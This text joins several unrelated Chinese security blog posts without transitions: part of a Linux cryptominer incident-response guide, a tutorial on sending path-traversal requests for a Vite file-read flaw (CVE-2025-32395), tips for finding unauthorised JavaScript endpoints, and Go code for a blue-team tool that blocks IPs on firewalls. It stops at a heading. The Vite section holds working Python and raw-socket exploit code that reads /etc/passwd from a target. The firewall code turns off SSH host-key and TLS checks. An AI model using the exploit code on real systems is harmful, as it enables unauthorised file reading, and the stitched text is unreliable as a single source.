# 查看服务自启动状态,可以看到所有的RPM包安装的服务
chkconfig  --list  
# 查看当前服务
ps aux | grep crond 

b、源码包安装的服务

检查/etc/rc.d/rc.local

  • 可疑用户

| 命令 | 命令详解 |
| -------------------------------------------------------- | -------------------------------------------------- |
| who | 查看当前登录用户(tty本地登陆 pts远程登录) |
| w | 查看系统信息,想知道某一时刻用户的行为 |
| last | 显示近期用户或终端的登录情况 |
| uptime | 查看登陆多久、多少用户,负载 |
| cat /etc/passwd | 查看用户信息文件 |
| cat /etc/shadow | 查看影子文件 |
| awk -F: '$3==0{print $1}' /etc/passwd | 查看管理员特权用户 |
| awk '/\$1|\$6/{print $1}' /etc/shadow | 查看可以远程登录的用户 |
| cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" | 查看sudo权限的用户(有时攻击者会创建属于自己的用户) |
| cat /etc/passwd \|awk -F: 'length($2)==0 {print $1}' | 查看空口令账户(有时攻击者会将正常账户改为空口令) |

2.1.3.2 定位

通过[2.1.3.1信息收集](#####2.1.3.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

方法1:通过top -c命令,可以看到可疑进程的完整目录信息和参数,从而定位到挖矿文件及目录

image-20220222145155602

方法2:通过以下命令,定位到挖矿文件位置

lsof -p pid

image-20220222145556700

systemctl status pid`

image-20220222145707526

ls -al /proc/`pid`/exe

image-20220222153053710

2.1.3.4 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220222153152087

2.1.3.5 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除计划任务

crontab -e 删除对应的恶意计划任务

删除存在以下目录的恶意计划任务

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
  • 删除启动项

删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项

  • 删除服务

Linux中服务清除:sudo update-rc.d [服务名称] remove

  • 进程查杀

查看是否存在子进程

ps ajfx
systemctl status

若无子进程,直接kill -9 pid

若有子进程,使用kill -9 -pid 杀死进程组

  • 删除文件

查看文件占用

lsof `文件名`

image-20220222154208994

若在进程查杀后仍有文件占用,则该进程可能是恶意进程,需继续重复之前步骤再次排查。

无进程占用,直接使用rm命令删除恶意文件

rm -rf [恶意文件绝对路径]

Tips:

若出现 rm: cannot remove ‘文件名’: Operation not permitted. 错误,则攻击者可能给文件添加了 ai 的权限导致文件无法删除,可使用 lsattr 查看文件权限:

lsattr [文件名]

使用 chattr -i [文件名]chattr -a [文件名] 修改文件权限,再用 rm 命令删除:

chattr -i [文件名]
chattr -a [文件名]
rm -rf [文件名]

image-20220222155248847

2.2 其他事件处理流程

若非挖矿事件,按照其他事件处理流程处置。

0x03 样本分析

3.1 备份挖矿程序

对于发现的恶意文件和目录应及时备份,为后续分析做准备。

Tips: 对于同系统文件一定要打包后再备份,防止发生二次感染。

a、Linux:

  • 使用 scp 命令:
scp -P 22 user@127.0.0.1:/usr/local/target /home/aaa

其中:

  • -P 指定SSH端口

  • 从远程服务器将 target 文件下载到本地的 /home/aaa

  • 使用 Xshell、FinalShell、MobaXterm 等集成工具。

b、Windows:

  • 通过 RDP 3389 复制粘贴。
  • 使用向日葵、ToDesk 等远程工具。
  • 使用SMB共享服务传输。
  • ...

3.2 云沙箱分析

对可疑文件可先通过云沙箱在线分析,常用的云沙箱包括:

3.3 专家分析

对云沙箱无法分析或分析不全时,可请求安全专家进行分析。

0x04 溯源攻击

溯源攻击是挖矿病毒应急响应的重要环节,以下是常规溯源流程:

  1. 确定攻击入口:


    • 检查系统日志、安全设备日志(如防火墙、IDS/IPS等)。
    • 分析网络流量,定位可疑IP地址或域名。
    • 检查系统是否存在未修复的漏洞或弱密码。
  2. 分析攻击手法:


    • 通过样本分析确定挖矿病毒的类型和传播方式。
    • 检查是否有横向移动的痕迹,如内网扫描、横向传播等。
  3. 确定攻击者身份:


    • 通过IP地址、域名等线索,结合威胁情报,确定攻击者身份。
    • 分析攻击者的C2服务器,追踪其活动轨迹。
  4. 总结攻击过程:


    • 绘制攻击流程图,还原攻击者入侵路径。
    • 撰写溯源报告,记录攻击细节和处置过程。

0x05 附录

5.1 常见挖矿病毒类型

| 类型 | 特征 |
| -------------- | ------------------------------------------------------------ |
| XMRig | 使用CPU挖矿,常见于Linux系统,配置文件通常为 config.json。 |
| MinerGate | 支持多种加密货币,常见于Windows系统,会创建大量进程。 |
| Claymore | 主要用于以太坊挖矿,常见于GPU挖矿,会生成大量日志文件。 |
| 门罗币挖矿病毒 | 使用XMRig或类似工具,常见于Web服务器,通过Web漏洞传播。 |
| 蠕虫类挖矿病毒 | 具有横向传播能力,通过弱密码或漏洞在内网传播。 |

5.2 常见挖矿病毒传播方式

| 传播方式 | 描述 |
| ------------ | ---------------------------------------------- |
| 弱密码爆破 | 通过SSH、RDP等服务的弱密码进行传播。 |
| Web漏洞利用 | 通过Web应用漏洞(如Struts2、ThinkPHP等)传播。 |
| 恶意邮件 | 通过钓鱼邮件传播,附件中包含挖矿程序。 |
| 横向移动 | 通过内网扫描和漏洞利用,感染其他主机。 |
| 供应链攻击 | 通过第三方软件或更新包传播挖矿病毒。 |

5.3 加固建议

  1. 系统加固:


    • 及时更新系统和软件补丁,修复已知漏洞。
    • 禁用不必要的服务和端口,减少攻击面。
    • 使用强密码策略,避免弱密码。
  2. 网络加固:


    • 部署防火墙和IDS/IPS,监控异常流量。
    • 限制外部访问,仅开放必要的端口和服务。
    • 使用VPN等安全通道访问内网。
  3. 安全监控:


    • 部署安全监控系统,实时监控系统资源使用情况。
    • 定期检查系统日志,发现异常及时处置。
    • 使用威胁情报平台,及时获取最新的攻击信息。
  4. 备份与恢复:


    • 定期备份重要数据,确保数据安全。
    • 制定应急响应预案,确保快速恢复业务。

5.4 参考工具

| 工具名称 | 用途 |
| ----------------------------- | ---------------------------------------- |
| Wireshark | 网络流量分析工具,用于分析异常流量。 |
| Process Explorer | 进程管理工具,用于分析可疑进程。 |
| Sysinternals Suite | 系统分析工具集,用于分析系统行为和进程。 |
| VirusTotal | 在线病毒扫描工具,用于分析可疑文件。 |
| Threat Intelligence Platforms | 威胁情报平台,用于获取最新的攻击信息。 |


以上为清理病毒程序方式,后续还需使用终端杀毒对系统进行全面杀毒及加固,并观察是否还有反复迹象。

一切以挖矿木马不再重启,不存在可疑外连为止。

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

前言

最近刚结束了一个HVV蓝队,比较头疼,甲方内部设备简直太多了,目前各个大厂都是这么玩儿的,本地MSS不好好适配不同厂家的产品,弹起来适配的问题最好的借口就是需要开发介入调整适配,不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮,有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲,通过告警事件联动不同区域的防火墙这种技术手段太简单了,本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了,可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上,目前探针获取的流量也只能获取非SSL流量,不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的,另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。

这次的工具功能是封禁共享情报的ip,或者是基于不同边界的不同品牌的防火墙和WAF的封禁。

下载地址:

功能介绍

  • 支持多种防火墙设备统一管理(H3C,QAX,SXF,山石,K01,DP等)
  • 网防K01提供黑名单批量查询、添加、删除功能
  • 支持 IP 规则化、过滤、清洗等功能
  • 界面简洁,操作便捷,可以选择性的根据不同的情报源头选择不同边界的设备进行封禁
  • 关于产品型号可支持大部分型号,除网防K01外其它产品封禁实现原理是基于添加地址到地址簿,封禁策略需手动处理

工具介绍和代码逻辑

配置文件

配置文件存放在config/config.json中,需要提前配置json文件,负责无法使用程序。这里关于config的文件内容务必按照格式规则设置,否则无法解析。

DP防火墙

DP防火墙的登录方式是telnet,逻辑是通过添加ip地址进入地址簿,添加ip地址

package devices

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type DPConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToDP(cfg DPConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里没有直接使用回显显示状态,没有监听服务器回显状态再输入命令,具体使用该方式是新增一个地址簿,再策略位置设置封禁策略,引用添加的地址簿即可。界面效果

H3c防火墙

采用ssh登录使用命令操作

package devices

import (
	"fmt"
	"strings"
	"time"

	"golang.org/x/crypto/ssh"
)

func AddIPsToH3C(cfg H3CConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动 shell 失败: %v\n", err)
	}

	commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(300 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里采用了监听回显,核心代码是

commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

当然这里可以增加优化,代码内关于ip地址的添加以及删除等操作都可以做,工具后期可以依托命令功能增加多个模块化设计,当然为了降低操作风险的话,这里黑名单封禁的操作足够使用了。

山石防火墙

山石登录方式是telnet登录使用命令操作

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type HSConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToHillstone(cfg HSConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

山石防火墙的命令基本和华三防火墙的命令基本一致,目前基本上可以支持大多数版本型号的防火墙,使用前可以做测试。

网盾K01

网盾K01的话这里采用的是关于api的利用,目前关于网盾K01的黑名单添加的模式是和防火墙不一致的,可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。

// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
	for _, device := range devices {
		appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))

		// 登录并获取 Token
		url := fmt.Sprintf("https://%s", device.IP)
		token := Login(url, device.Username, device.Password, output, device.Name)
		if token == "" {
			appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
			continue
		}

		// 逐个 IP 添加到黑名单
		for _, ip := range ips {
			// 如果 IP 地址没有 CIDR 后缀,添加 "/32"
			if !strings.Contains(ip, "/") {
				ip += "/32"
			}

			// 打印调试日志,确认每个 IP 地址
			appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))

			// 准备请求 payload
			payload := map[string]interface{}{
				"color":       0,
				"device_mask": []int{224},
				"items": []map[string]interface{}{
					{
						"type":        0,
						"ip":          ip, // 这里单独封禁每个 IP 地址
						"timeout":     336,
						"time_type":   "3600",
						"device_mask": []int{224},
						"comment":     "自动封禁",
					},
				},
				"method": "add",
			}

			// 打印调试日志,确认请求 Payload
			payloadBytes, _ := json.Marshal(payload)
			// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))

			// 请求封禁
			req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 执行请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
				continue
			}
			defer resp.Body.Close()

			// // 打印调试日志,确认响应代码
			// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))

			// 解析响应
			body, _ := ioutil.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
				continue
			}

			// // 打印调试日志,确认响应结果
			// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))

			// 根据结果显示成功或失败
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
			} else {
				appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
			}
		}
	}
}

// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
	for _, idx := range selected {
		device := devices[idx] // 获取当前选择的设备
		url := fmt.Sprintf("https://%s", device.IP)

		// 输出正在登录设备信息
		appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))

		// 登录设备,获取 token
		token := Login(url, device.Username, device.Password, outputBox, device.Name)
		if token == "" {
			appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败,无法删除黑名单", device.Name))
			continue
		}

		// 遍历 IP 列表,直接进行删除操作
		for _, ip := range ipList {
			apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
			payload := fmt.Sprintf(`{
				"color": 0,
				"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
				"method": "delete"
			}`, ip, ip)

			// 创建请求
			req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
			if err != nil {
				appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 发送请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
				continue
			}
			defer resp.Body.Close()

			// 读取响应
			body, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
				continue
			}

			// 解析响应
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
				continue
			}

			// 检查删除是否成功
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(outputBox, fmt.Sprintf("✅ 删除成功,IP: %s", ip))
			} else {
				// 如果失败,输出错误信息
				if msg, ok := result["msg"].(string); ok {
					appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
				} else {
					appendOutput(outputBox, "❌ 删除失败,未知错误")
				}
			}
		}
	}

关于api的调用的话是有其自己的参数规则的,因为认证方式是https,所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表,所以这里就执行的是直接删除,否则就删除失败,但是对于功能性的查询模块的功能是有的,由于网盾k01的产品特性,一点发现全网阻断,所以这里基本上用不到删除黑名单的功能。

QAX网神防火墙

网神联动利用的是ssh登录执行命令,所以这里权限也相对来说比较大,对于蓝队来讲不建议增加其它代码功能,原理也是利用策略引用地址簿进行封禁

func AddIPsToQAX(cfg QAXConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         15 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动shell失败: %v\n", err)
	}

	commands := []string{
		"config terminal",
		fmt.Sprintf("object address %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network %s 32", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

向地址簿中添加ip地址核心代码

commands := []string{
	"config terminal",
	fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
	commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")

目前我也是查询了多款网神防火墙的手册,关于地址簿添加这块儿的命令版本是没有变化的,基本上支持大多数版本型号。

SXF_AF和WAF

